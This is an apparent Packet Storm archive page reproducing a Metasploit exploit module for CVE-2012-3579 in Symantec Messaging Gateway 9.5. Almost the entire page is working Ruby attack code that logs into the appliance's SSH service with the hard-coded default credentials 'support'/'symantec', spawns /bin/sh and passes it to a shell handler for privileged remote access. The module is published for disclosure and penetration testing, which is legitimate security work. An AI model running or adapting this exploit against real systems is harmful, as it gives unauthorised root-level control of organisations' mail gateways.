Lucene search

K
packetstormBen WilliamsPACKETSTORM:116277
HistorySep 06, 2012 - 12:00 a.m.

Symantec Messaging Gateway 9.5 Default SSH Password

2012-09-0600:00:00
Ben Williams
packetstormsecurity.com
32

0.107 Low

EPSS

Percentile

94.5%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
require 'net/ssh'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Auxiliary::CommandShell  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability",  
'Description' => %q{  
This module exploits a default misconfiguration flaw on Symantec Messaging Gateway.  
The 'support' user has a known default password, which can be used to login to the  
SSH service, and gain privileged access from remote.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Stefan Viehbock', #Original discovery  
'Ben Williams', #Reporting the vuln + coordinated release  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
['CVE', '2012-3579'],  
['OSVDB', '85028'],  
['BID', '55143'],  
['URL', 'https://www.sec-consult.com/files/20120829-0_Symantec_Mail_Gateway_Support_Backdoor.txt'],  
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120827_00']  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => "none"  
},  
'Payload' =>  
{  
'Compat' => {  
'PayloadType' => 'cmd_interact',  
'ConnectionType' => 'find'  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
['Symantec Messaging Gateway 9.5', {}],  
],  
'Privileged' => true,  
#Timestamp on Symantec advisory  
#But was found on Jun 26, 2012  
'DisclosureDate' => "Aug 27 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RHOST(),  
Opt::RPORT(22)  
], self.class  
)  
  
register_advanced_options(  
[  
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])  
]  
)  
end  
  
  
def rhost  
datastore['RHOST']  
end  
  
  
def rport  
datastore['RPORT']  
end  
  
  
def do_login(user, pass)  
opts = {  
:auth_methods => ['password', 'keyboard-interactive'],  
:msframework => framework,  
:msfmodule => self,  
:port => rport,  
:disable_agent => true,  
:config => false,  
:password => pass,  
:record_auth_info => true,  
:proxies => datastore['Proxies']  
}  
  
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']  
  
begin  
ssh = nil  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
ssh = Net::SSH.start(rhost, user, opts)  
end  
rescue Rex::ConnectionError, Rex::AddressInUse  
return  
rescue Net::SSH::Disconnect, ::EOFError  
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"  
return  
rescue ::Timeout::Error  
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"  
return  
rescue Net::SSH::AuthenticationFailed  
print_error "#{rhost}:#{rport} SSH - Failed authentication"  
rescue Net::SSH::Exception => e  
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"  
return  
end  
  
if ssh  
conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true)  
ssh = nil  
return conn  
end  
  
return nil  
end  
  
  
def exploit  
user = 'support'  
pass = 'symantec'  
  
print_status("#{rhost}:#{rport} - Attempt to login...")  
conn = do_login(user, pass)  
if conn  
print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")  
handler(conn.lsock)  
end  
end  
end`

0.107 Low

EPSS

Percentile

94.5%